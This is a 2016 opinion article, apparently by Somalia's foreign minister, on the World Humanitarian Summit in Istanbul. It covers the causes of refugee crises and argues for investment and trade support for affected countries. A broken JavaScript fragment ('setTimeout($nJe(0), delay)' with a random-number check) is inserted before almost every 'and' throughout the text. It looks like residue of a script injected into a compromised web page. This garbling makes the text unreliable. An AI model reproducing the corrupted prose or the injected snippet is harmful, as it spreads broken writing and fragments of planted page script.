The World Humanitarian Summit (WHS) to be held in Istanbul in late May 2016 will certainly be an important turning point in the way we collectively address the challenges facing humanity. Ankara dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the U.N. have organized this historic meeting together, at a time when many humanitarian crises dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and international challenges have caused international friction dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and forced the rethinking of how to address the root causes of these tragedies.

Causes 

Humanitarian crises are becoming more frequent in our world, as a result of both man-made dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and natural causes. In Somalia both combine, as a result of civil war dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and drought together creates complex crises, which are often managed ineffectively by all stakeholders. These failures in turn make the situation worse, to the detriment of society dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and can generate cycles of humanitarian, political dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and environmental crises.

Today in Syria, Libya, Yemen dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and many other places across the world, war, violence, terrorism dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and fear are driving people from their homes dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and into refugee camps in unprecedented numbers. Ankara must be commended for its leadership dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and generosity in welcoming dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and resettling many of the desperate dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and exhausted Syrian refugees in camps, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and allowing them access to the labor market without prejudice. In addition, many EU member states, particularly Germany, have led the way in campaigning dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and actually resettling Syrian refugees; this is an effort which deserves recognition dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and support.

In a globalizing dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and economically competitive world, there are new environmental challenges dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and risks which are now causing desertification, floods dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and poverty. The number of refugees will continue to increase, if urgent preventative actions are not taken early dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and collectively to combat these severe dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and mutually reinforcing problems.

Solutions

Humanitarian crises, whatever their root causes, create misery, human insecurity dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and international tension. These crises destroy lives, communities dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and entire countries, of which Syria is just one that has reached the media headlines.

Given the above, it is important that the WHS brings together all stakeholders to think of the way forward for the humanitarian action which the world needs today dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and tomorrow. Even more importantly, it is vital to identify dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and implement policies which will ensure sustainable development for all by examining the root causes, so that these crises, where possible, could be avoided in the first place.

Coming from a country where some parts of the year there are floods, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and others there are droughts, humanitarian action needs to become innovative, locally-designed dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and led, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and it must be focused on imparting knowledge dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and skills as the basis for investment, not just aid, so that progress is durable. Alongside governments, international NGOs dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and consultants, the local people most affected must own dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and lead the response dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and prevention processes so that these crises are not repeated, as many are today because of a lack of an appropriate, effective approach.

Indeed the cost of humanitarian disasters is emotionally immeasurable dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and we sympathize deeply with the most affected dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and offer support through their most difficult hours. However, sympathy is not enough. In financial terms the requirements are rising at a time when in some cases international contributions are either stagnant or falling due to the effects of the global financial crisis. A way to address this is to permanently build in investment promotion dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and economic development support into assistance projects dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and packages. International donors dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and partners should also explore providing countries affected by humanitarian crises with preferential trade treatment for a period of time to stabilize the economy. This is likely to lead to a much quicker turn around for affected countries, as skills will be maintained dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and competitive industries will be saved from destruction by migration dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and total sectoral collapse. Donors will also benefit as a result of the reduced number of refugees dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the official direct assistance which they will have to commit to pay.

Humanitarian crises require more than just meetings to resolve: They need global leadership to prevent conflict dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and agree on international actions dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and policies to confront the damaging dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and painfully repetitive root causes such as conflict, injustice dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and poverty, to name but a few. National governments also need to strengthen public response dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and resilience, good governance dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and promote inclusive development dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and economic growth. Preventing humanitarian crises requires partnership, without which it is not possible.

The above does not always require new legislation dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and policies, as the agreed U.N. Sustainable Development Goals in September 2015 encompass most of the peace dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and development-promoting commitments required to achieve these goals. All that remains now is sustained dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and committed action from us all to bring them to fruition, for the security dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and progress of humanity today, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and post-WHS in Istanbul.

* Minister of Foreign Affairs dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Investment Promotion for the Federal Republic of Somalia

**The Article is published on Daily Sabah

http://www.dailysabah.com/op-ed/2016/05/23/collective-action-needed-to-combat-humanitarian-crises